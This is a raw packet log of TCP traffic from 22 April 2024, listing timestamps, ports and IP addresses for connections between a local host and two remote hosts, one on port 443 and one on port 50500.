Apr 22, 2024 01:18:17.827805042 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.827833891 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.827837944 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.827848911 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.827883005 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.827896118 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.827913046 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.827934027 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.827964067 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.827970028 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.827986956 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.827991962 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828001022 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828008890 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828035116 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828036070 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828059912 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828067064 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828080893 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828089952 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828113079 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828119993 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828195095 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828206062 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828227043 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828257084 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828263044 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828272104 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828285933 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828286886 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828299046 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828320026 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828330040 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828347921 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828351974 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828371048 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828378916 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828392982 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828399897 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828421116 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828429937 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828439951 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828444004 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828460932 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828464985 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828484058 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828488111 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828500986 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828506947 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828535080 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828560114 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828577995 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828599930 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828605890 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828615904 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828633070 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828634977 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828644991 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828668118 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828679085 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828696966 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828702927 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828720093 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828732967 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828738928 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828747034 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828775883 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828785896 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828797102 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828807116 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828814983 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828830004 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828830957 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828844070 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828855038 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828881025 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828903913 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828906059 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828924894 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828949928 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828955889 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.828970909 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.828983068 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829005957 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829031944 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829037905 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829049110 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829070091 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829077005 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829098940 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829127073 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829132080 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829142094 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829149008 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829165936 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829176903 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829190016 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829193115 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829219103 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829237938 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829252005 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829271078 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829299927 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829305887 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829314947 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829333067 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829335928 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829349041 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829380989 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829386950 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829399109 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829430103 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829454899 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829478979 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829499960 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829507113 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829519033 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829539061 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829562902 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829577923 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829586029 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829617023 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829622984 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829636097 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829668999 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829670906 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829690933 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829709053 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829715014 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829725027 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829730988 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829746962 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829756021 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829772949 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829776049 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829792976 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829807997 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829812050 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829819918 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829848051 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829849958 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829870939 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829893112 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829894066 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829909086 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829915047 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829929113 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829936981 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829955101 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829960108 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.829976082 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829997063 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.829997063 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830010891 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830040932 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830044985 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830066919 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830070972 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830080986 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830084085 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830110073 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830111980 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830125093 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830128908 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830158949 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830178022 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830197096 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830224991 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830229998 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830240011 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830255032 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830329895 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830380917 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830385923 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830400944 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:17.830425978 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830434084 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.830547094 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.834032059 CEST	49720	443	192.168.2.5	185.199.220.53
Apr 22, 2024 01:18:17.834042072 CEST	443	49720	185.199.220.53	192.168.2.5
Apr 22, 2024 01:18:18.829242945 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.116955042 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.117021084 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.405031919 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.711515903 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731729984 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731770039 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731797934 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.731806040 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731842041 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731847048 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.731880903 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731920004 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731956005 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.731992960 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732002974 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.732028961 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732064962 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732119083 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732125044 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.732157946 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732194901 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732203960 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.732232094 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732270002 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.732275963 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.732492924 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.979787111 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980137110 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980154037 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980170012 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980186939 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980201960 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980205059 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980221987 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980241060 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980242014 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980257988 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980258942 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980276108 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980293036 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980294943 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980309963 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980312109 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980335951 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980354071 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980361938 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980371952 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980390072 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980398893 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980406046 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980423927 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980442047 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980442047 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980459929 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980468988 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980478048 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980496883 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980505943 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980513096 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980529070 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980545998 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980545998 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980564117 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980571032 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980581045 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980598927 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980598927 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980617046 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980634928 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:19.980639935 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:19.980700016 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229264021 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229295015 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229311943 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229330063 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229351044 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229352951 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229368925 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229382992 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229387999 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229409933 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229419947 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229429007 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229446888 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229448080 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229465008 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229484081 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229490995 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229501963 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229520082 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229532003 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229541063 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229557991 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229576111 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229590893 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229593039 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229613066 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229620934 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229631901 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229633093 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229655027 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229672909 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229681015 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229691029 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229708910 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229720116 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229726076 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229743958 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229747057 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229762077 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229780912 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229795933 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229799986 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229830027 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229834080 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229867935 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229904890 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229943037 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.229954958 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.229979992 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230016947 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230029106 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230055094 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230093956 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230103970 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230132103 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230169058 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230178118 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230210066 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230248928 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230257034 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230285883 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230324030 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230330944 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230361938 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230398893 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230405092 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230437040 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230473995 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230487108 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230513096 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230550051 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230559111 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230587959 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230629921 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230665922 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230703115 CEST	50500	49707	193.233.132.47	192.168.2.5
Apr 22, 2024 01:18:20.230710030 CEST	49707	50500	192.168.2.5	193.233.132.47
Apr 22, 2024 01:18:20.230739117 CEST	50500	49707	193.233.132.47	192.168.2.5
